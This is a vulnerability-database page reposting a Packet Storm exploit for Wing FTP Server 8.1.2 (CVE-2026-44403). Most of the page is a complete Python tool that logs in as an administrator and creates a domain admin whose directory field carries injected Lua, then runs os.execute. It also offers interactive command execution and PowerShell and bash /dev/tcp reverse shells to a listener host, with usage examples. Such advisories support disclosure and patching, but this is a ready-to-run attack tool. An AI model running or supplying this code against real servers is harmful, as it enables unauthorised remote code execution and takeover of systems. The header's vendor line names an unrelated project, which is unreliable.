Lucene search
K

📄 Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 12 Views

Wing FTP Server 8.1.2 lets remote code execution via admin session poisoning in mydirectory.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-44403
14 May 202606:58
githubexploit
ATTACKERKB
CVE-2026-44403
12 May 202620:43
attackerkb
Circl
CVE-2026-44403
14 May 202607:00
circl
CNNVD
Wing FTP Server 代码注入漏洞
12 May 202600:00
cnnvd
CVE
CVE-2026-44403
12 May 202620:43
cve
Cvelist
CVE-2026-44403 Wing FTP Server < 8.1.3 Authenticated Remote Code Execution via Session Serialization
12 May 202620:43
cvelist
Exploit DB
Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
29 May 202600:00
exploitdb
EUVD
EUVD-2026-29848
12 May 202621:31
euvd
NVD
CVE-2026-44403
12 May 202621:16
nvd
Packet Storm
📄 Wing FTP Server 8.1.3 Remote Code Execution
29 May 202600:00
packetstorm
Rows per page
==================================================================================================================================
    | # Title     : Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning                                                |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  The exploit abuses a flaw in how Wing FTP Server handles admin session serialization, specifically the mydirectory (basefolder) field.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import json
    import os
    import sys
    import time
    import requests
    import urllib3
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPExploit:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False, timeout=30, verbose=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            
        def log(self, msg, level="INFO"):
            colors = {
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "INFO": "\033[96m[*]\033[0m",
                "PROC": "\033[94m[@]\033[0m"
            }
            print(f"{colors.get(level, '[*]')} {msg}")
        
        def login(self):
            """Authenticate to the admin panel"""
            self.log(f"Authenticating as {self.admin_user}...", "PROC")
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': self.admin_user,
                'password': self.admin_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                response = self.session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log("Authentication successful", "SUCCESS")
                            return True
                        elif result.get('code') in (1, 2):
                            self.log("2FA required - not supported", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        if 'logged in ok' in response.text or 'main.html' in response.text:
                            self.log("Authentication successful (legacy)", "SUCCESS")
                            return True
                
                self.log(f"Authentication failed: HTTP {response.status_code}", "ERROR")
                return False
                
            except Exception as e:
                self.log(f"Authentication error: {e}", "ERROR")
                return False
        
        def create_poisoned_basefolder(self, lua_payload):
            """Create poisoned basefolder value that injects Lua code"""
            return f"/tmp/x]]{lua_payload}--"
        
        def create_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Create a domain admin with poisoned basefolder"""
            self.log(f"Creating poisoned domain admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            if self.verbose:
                self.log(f"Poisoned basefolder: {poisoned_basefolder}", "INFO")
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            add_admin_url = urljoin(self.base_url, '/service_add_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    add_admin_url,
                    files={'admin': (None, admin_json)},
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Poisoned admin '{poison_user}' created", "SUCCESS")
                            return True
                        elif result.get('code') == -3:
                            self.log(f"Admin '{poison_user}' exists, modifying...", "INFO")
                            return self.modify_poisoned_admin(poison_user, poison_pass, lua_payload)
                        else:
                            self.log(f"Failed to create admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error creating admin: {e}", "ERROR")
                return False
        
        def modify_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Modify existing admin to inject poisoned basefolder"""
            self.log(f"Modifying existing admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            modify_admin_url = urljoin(self.base_url, '/service_modify_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    modify_admin_url,
                    files={
                        'admin': (None, admin_json),
                        'oldname': (None, poison_user)
                    },
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Admin '{poison_user}' modified successfully", "SUCCESS")
                            return True
                        else:
                            self.log(f"Failed to modify admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error modifying admin: {e}", "ERROR")
                return False
        
        def trigger_payload(self, poison_user, poison_pass):
            """Trigger the payload by logging in as poisoned admin"""
            self.log(f"Triggering payload as '{poison_user}'...", "PROC")
            
            trigger_session = requests.Session()
            trigger_session.verify = False
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': poison_user,
                'password': poison_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                login_resp = trigger_session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if login_resp.status_code == 200:
                    self.log("Login as poisoned admin successful", "SUCCESS")
                    trigger_url = urljoin(self.base_url, '/service_get_dir_list.html')
                    trigger_data = {'dir': ''}
                    headers['Referer'] = urljoin(self.base_url, '/main.html')
                    
                    trigger_resp = trigger_session.post(trigger_url, data=trigger_data, headers=headers, timeout=self.timeout)
                    
                    if trigger_resp.status_code == 200:
                        self.log("Payload triggered successfully!", "SUCCESS")
                        return True
                    else:
                        self.log(f"Trigger request returned HTTP {trigger_resp.status_code}", "WARNING")
                        return True 
                else:
                    self.log(f"Login failed: HTTP {login_resp.status_code}", "WARNING")
                    return False
                    
            except Exception as e:
                self.log(f"Trigger error: {e}", "ERROR")
                return False
        
        def generate_lua_payload(self, command):
            """Generate Lua payload for command execution"""
            escaped_cmd = command.replace("'", "\\\\'")
            return f"os.execute('{escaped_cmd}')"
        def generate_reverse_shell_lua(self, lhost, lport, platform='windows'):
            """Generate Lua payload for reverse shell"""
            if platform == 'windows':
                ps_cmd = f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
                return f"os.execute('powershell -Command \"{ps_cmd}\"')"
            else:
                bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
                return f"os.execute('{bash_cmd}')"
        
        def execute_command(self, command, poison_user, poison_pass, cleanup=True):
            """Execute a single command via the vulnerability"""
            self.log(f"Executing command: {command}")
            
            lua_payload = self.generate_lua_payload(command)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            time.sleep(2)
            
            if cleanup:
                self.cleanup_admin(poison_user)
            
            return True
        
        def deploy_reverse_shell(self, lhost, lport, platform='windows', poison_user='svc_backup', poison_pass='P@ssw0rd123!'):
            """Deploy reverse shell payload"""
            self.log(f"Deploying reverse shell to {lhost}:{lport}", "PROC")
            
            lua_payload = self.generate_reverse_shell_lua(lhost, lport, platform)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            
            self.log("Reverse shell payload sent! Check your listener.", "SUCCESS")
            return True
        
        def cleanup_admin(self, poison_user):
            """Attempt to clean up the poisoned admin"""
            self.log(f"Cleaning up admin: {poison_user}", "PROC")
            
            delete_url = urljoin(self.base_url, '/service_del_admin.html')
            data = {'username': poison_user}
            
            try:
                response = self.session.post(delete_url, data=data, timeout=self.timeout)
                if response.status_code == 200:
                    self.log(f"Admin '{poison_user}' cleaned up", "SUCCESS")
                    return True
            except Exception as e:
                self.log(f"Cleanup error: {e}", "WARNING")
            
            return False
        
        def run(self, command=None, lhost=None, lport=None, poison_user='svc_backup', 
                poison_pass='P@ssw0rd123!', cleanup=True, shell=False):
            """Main exploit routine"""
            
            self.log(f"Target: {self.base_url}")
            if not self.login():
                self.log("Failed to authenticate", "ERROR")
                return False
            if command:
                return self.execute_command(command, poison_user, poison_pass, cleanup)
            elif lhost and lport:
                platform = 'windows' if 'win' in str(target).lower() else 'linux'
                return self.deploy_reverse_shell(lhost, lport, platform, poison_user, poison_pass)
            elif shell:
                self.log("Interactive shell mode. Type 'exit' to quit.", "SUCCESS")
                print("\nCommands will be executed on the Wing FTP server.\n")
                
                while True:
                    try:
                        cmd = input("\033[92mwingftp>\033[0m ").strip()
                        if cmd.lower() in ['exit', 'quit']:
                            break
                        if cmd:
                            self.execute_command(cmd, poison_user, poison_pass, cleanup=False)
                            time.sleep(1)
                    except KeyboardInterrupt:
                        print("\nExiting...")
                        break
                
                if cleanup:
                    self.cleanup_admin(poison_user)
                
                return True
            else:
                self.log("No action specified", "ERROR")
                return False
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE",
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "whoami"
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --reverse-shell --lhost 10.0.0.5 --lport 4444
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "id" --poison-user custom --poison-pass custom123
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell --no-cleanup
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target host:port (e.g., 192.168.1.10:5466)")
        parser.add_argument("-u", "--admin-user", default="admin", help="Administrator username (default: admin)")
        parser.add_argument("-p", "--admin-pass", default="admin", help="Administrator password (default: admin)")
        parser.add_argument("-c", "--command", help="Command to execute")
        parser.add_argument("--reverse-shell", action="store_true", help="Deploy reverse shell")
        parser.add_argument("--lhost", help="Listener host for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
        parser.add_argument("--poison-user", default="svc_backup", help="Poisoned admin username (default: svc_backup)")
        parser.add_argument("--poison-pass", default="P@ssw0rd123!", help="Poisoned admin password (default: P@ssw0rd123!)")
        parser.add_argument("--no-cleanup", action="store_true", help="Don't clean up poisoned admin after exploitation")
        parser.add_argument("--ssl", action="store_true", help="Use SSL for connection")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        parser.add_argument("--timeout", type=int, default=30, help="Request timeout (seconds)")
        
        args = parser.parse_args()
        
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE       ║
    ║  Remote Code Execution via Session Poisoning                    ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
        exploit = WingFTPExploit(
            target=args.target,
            admin_user=args.admin_user,
            admin_pass=args.admin_pass,
            use_ssl=args.ssl,
            timeout=args.timeout,
            verbose=args.verbose
        )
        
        cleanup = not args.no_cleanup
        
        if args.reverse_shell:
            if not args.lhost or not args.lport:
                print("[-] --reverse-shell requires --lhost and --lport")
                sys.exit(1)
            success = exploit.run(
                lhost=args.lhost,
                lport=args.lport,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.shell:
            success = exploit.run(
                shell=True,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.command:
            success = exploit.run(
                command=args.command,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        else:
            parser.print_help()
            sys.exit(1)
        sys.exit(0 if success else 1)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.17.2
CVSS 48.6
EPSS0.02056
SSVC
12